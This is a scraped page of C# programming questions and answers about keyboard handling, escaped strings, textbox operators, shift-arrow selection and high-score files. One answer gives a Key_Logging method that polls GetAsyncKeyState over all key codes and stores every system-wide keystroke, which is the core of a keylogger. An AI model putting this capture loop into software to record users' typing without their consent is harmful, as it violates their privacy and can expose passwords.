Convert Windows Forms Keys to string - c#

I am responding to a KeyDown Event Handler in my Windows Forms application. In this Event Handler, I want to convert the KeyEventArgs KeyCode to a string. This is no problem when we are dealing with characters from the alphabet, numbers or the numpad. The difficutly comes when trying to convert characters such as: < > , . ; ' " / ?
My current conversion method is:
private string ConvertKeyCodeToString(System.Windows.Forms.Keys keyCode, bool shiftPressed)
{
string key = new System.Windows.Forms.KeysConverter().ConvertToString(keyCode);
if (key.Contains("NumPad"))
{
key = key.Replace("NumPad", "");
}
if (key.Equals("Space"))
{
key = " ";
}
if (!shiftPressed)
{
key = key.ToLower();
}
return key;
}
Right now, I'm calling ConvertToString instead of ConvertToInvariantString because doing this does not seem to change anything. I have noticed that every special character which is causing issues seems to start with "oem".
To me, the best solution seems to be converting the key to a string using a List of some sorts. If the key that has been pressed is a special character of course. I'm afraid this will cause issues related to the keyboard culture.
So my question is: how can I convert a key press on a special character to it's string representation based on the current culture?

Sounds like you may want to use KeyPress instead of KeyDown:
private void keypressed(Object o, KeyPressEventArgs e)
{
char key = e.KeyChar; // the character representation of the key that was pressed
}
KeyDown is raised for non-character keys such as directional and function keys.

I am using this code, I will be changing keys such as tab, space and enter and whatever I want as I go.
static void Key_Logging()
{
string newkey = "";
while (true)
{
//sleeping for while, this will reduce load on cpu
Thread.Sleep(50);
for (Int32 i = 0; i < 255; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
if ((i < 91) & (i > 47))
{
newkey = "" + (char)i;
}
else
{
switch (""+(Keys)i)
{
case "Tab": newkey = " "; break;
case "Space": newkey = " "; break;
case "Return": newkey = "\r\n"; break;
case "OemMinus": newkey = "-"; break;
case "Oemplus": newkey = "+"; break;
case "OemQuestion": newkey = "/"; break;
case "Oemtilde": newkey = "`"; break;
default: newkey = "\"" + (Keys)i + "\""; break;
}
}
Console.WriteLine(newkey);
keylogS += newkey;
break;
}
}
}
}

Related

(C#) How can I get a string with escape characters without changing the escape characters? [duplicate]

This question already has answers here:
Can I convert a C# string value to an escaped string literal?
(16 answers)
Closed 4 months ago.
I want to save a string to a file (without for example making \n into an actual new line).
This is my code:
using (var fs = new FileStream(path, FileMode.Truncate)
{
var sw = new StreamWriter(fs);
List<string> keys = texts.Keys.ToList();
List<string> vals = texts.Values.ToList();
for (int i = 0; i < texts.Count; i++)
{
sw.WriteLine(keys[i] + ";" + vals[i]);
}
sw.Close();
}
As you can see, I am trying to convert a dictionary called texts into a file.
In the values, I can have line1\n\tline2. I need to somehow make, so that the escape characters dont convert into their actual form.
I would appreciate any help...
EDIT:
Tried doing sw.WriteLine(keys[i].Replace(#"\", "|") + ";" + vals[i].Replace(#"\", "|");. It won't save as |n or |t...
EDIT 2:
You can convert the Literal back to its original form using this oversized algorithm (not all escape characters included)
private static string ToNormal(string value)
{
string output = "";
bool escapeChar = false;
for (int i = 0; i < value.Length; i++)
{
if (escapeChar)
{
switch (value[i].ToString())
{
case "n":
output += "\n";
break;
case "t":
output += "\t";
break;
case "a":
output += "\a";
break;
case #"\":
output += "\\";
break;
}
escapeChar = false;
}
else if (value[i] == '\\')
{
escapeChar = true;
continue;
}
else
{
output += value[i];
}
}
return output;
}
See this question
Should be able to do this in the for loop:
sw.WriteLine(keys[i] + ";" + Microsoft.CodeAnalysis.CSharp.SymbolDisplay.FormatLiteral(vals[i], false));
You have to install the Microsoft.CodeAnalysis.CSharp Nuget package

How can I find the last character of a textbox text?

I am a beginner in C#. I am making a web calculator like Microsoft Desktop calculator with the help of asp.net. But I'm stuck at one place. My code for Plus, minus, multiply or div is like:
protected void btnPlus_Click(object sender, EventArgs e)
{
if (txtBox1.Text.EndsWith("+"))
{
txtBox1.Text = txtBox1.Text;
}
else
{
txtBox1.Text = txtBox1.Text + "+";
ViewState["Operation"] = "+";
}
}
But I want to check this condition for all operations like minus, multiply and divide. I don't want Plus, Minus, Multiply or Div signs appear in the textbox.
You can store all your operators in a string constant and check if the last character is contained in that string:
private const string OPERATORS = "+-/*";
protected void btnPlus_Click(object sender, EventArgs e)
{
if (string.IsNullOrEmpty(txtBox1.Text) || // check if string is empty
OPERATORS.Contains(txtBox1.Text.Last())) // or if last character is a operator
{
txtBox1.Text = txtBox1.Text;
}
else
{
txtBox1.Text = txtBox1.Text + "+";
ViewState["Operation"] = "+";
}
}
You can do something like the following:
Extract last character
Based on the character assign operator to the view state
If it is any operator then remove them from the textbox
Finally do the operation
if (txtBox1.Text != "")
{
char last_char = txtBox1.Text[txtBox1.Text.Length - 1];
switch (last_char)
{
case '+':
ViewState["Operation"] = "+";
txtBox1.Text.Remove(txtBox1.Text.Length - 1);
break;
case '-':
ViewState["Operation"] = "-";
txtBox1.Text.Remove(txtBox1.Text.Length - 1);
break;
// do the same for all operators
default:
break;
}
}

Pressing a key and then perform another key

I would like to write a small application using c#. When user presses any key, then this program performs a binding key.
For example, I press Q, then my application works with Triple Q.
Thank
You can implement that without timer, like this codes:
static void Main(string[] args)
{
var time = 3;
char myKey = 'q';
// do some things ...
var key = Console.ReadKey().KeyChar;
if (key == myKey)
{
bool ok = true;
for (int count = 0; count < time; count++)
{
key = Console.ReadKey().KeyChar;
if (key != myKey)
{
ok = false;
break;
}
}
if (ok)
{
// do my work
}
else
{
// Do some else works ...
}
}
else
{
// Do some else works ...
}
Console.ReadKey();
}

C# TextBox Override Arrow Key Select Function

Basically, continuing from this question, when the user presses shift + either left or right I need it to select the entire character group.
The current code I have (under the PreviewKeyDown Event):
string s;
int caretLocation = textBox1.SelectionStart;
string txt = textBox1.Text;
if (e.Shift)
{
switch (e.KeyCode)
{
#region Right
case Keys.Right:
{
s = txt.Substring(caretLocation);
foreach (string combo in charCombinations)
{
if (s.StartsWith(combo))
{
textBox1.SelectionLength = combo.Length - 1;
break;
}
}
break;
}
#endregion
#region Left
case Keys.Left:
{
s = txt.Substring(0, caretLocation);
foreach (string combo in charCombinations)
{
if (s.EndsWith(combo))
{
textBox1.SelectionStart = caretLocation - combo.Length + 1;
textBox1.SelectionLength = combo.Length + 1
break;
}
}
break;
}
#endregion
}
}
The first issue lies with the right key, where if there are two of such character groups in a row, the caret does not move right any further from the position shown below:
The second issue lies with the left key, where the left key selection just doesn't select the entire character:
For this case, the entire word sin( should be selected.
Thanks in advance!
charCombinations has been defined as:
private static readonly string[] charCombinations = new string[] { "asinh(", "acosh", "atanh(",
"sinh(", "cosh(", "tanh(", "asin(", "acos(", "atan(", "sin(", "cos(", "tan(",
"log(", "ln(", "PI", "e", "Phi"};
You must add next text length to previous length.
I fixed your codes this model:
case Keys.Right:
{
s = txt.Substring(caretLocation);
foreach (string combo in charCombinations)
{
if (s.StartsWith(combo))
{
textBox1.SelectionLength += combo.Length - 1;
break;
}
}
break;
}
The important line is: textBox1.SelectionLength += combo.Length - 1;
in that I use += instead =

Read & write text to a separate file on the hard drive

Having a problem with my code here. My code is supposed to (what I want it to do) is after the game ends a spritefont appears that allows you to enter text and once that text is entered then it would write that score to the text file. But of course it does not do that. If anyone could help, would be grand.
EDIT
This is what I am using to try and input text after the game is over (Game is Space Invaders) Perhaps there is something wrong here also.
SpriteFont Label;
string txt = ".";
Keys PrevKey;
string[] HighScores = new string[5];
int count = 0;
KeyboardState ks = Keyboard.GetState();
Keys[] k = ks.GetPressedKeys();
Keys tempKey = Keys.None;
string keyChar = "";
foreach (Keys q in k)
{
Keys currentKey = q;
if (ks.IsKeyUp(PrevKey))
{
if (!(q == Keys.None))
{
switch (q)
{
case Keys.Space: keyChar = " "; break;
case Keys.Delete: txt = ""; break;
case Keys.Back: txt = txt.Remove(txt.Length - 1); break;
case Keys.Enter: HighScores[count] = txt; count++; txt = "";
if (count == 5) count = 0; break;
case Keys.End: WriteScores(); break;
case Keys.Home: ReadScores(); break;
default: keyChar = q.ToString(); break;
}
txt += keyChar;
}
}
if (currentKey != Keys.None && ks.IsKeyDown(currentKey))
{
tempKey = currentKey;
}
}
PrevKey = tempKey;
base.Update(gameTime);
}
}
}
}
public void WriteScores()
{
StreamWriter Rite = new StreamWriter(#"C:\TheScores.txt");
for (int i = 0; i < HighScores.Length; i++)
{
Rite.WriteLine(HighScores[i]);
}
Rite.Close();
}
public void ReadScores()
{
if (File.Exists(#"C:\TheHighScores.txt"))
{
StreamReader Reed = new StreamReader(#"C:\TheScores.txt");
for (int i = 0; i < HighScores.Length; i++)
{
txt += Reed.ReadLine() + "\n";
}
Reed.Close();
}
}
Change the path to a user folder like Documents or AppData. Your code as it is will throw an access violation for insufficient permissions unless you run your program as administrator, as the root of C:\ is only available from an elevated context.

Categories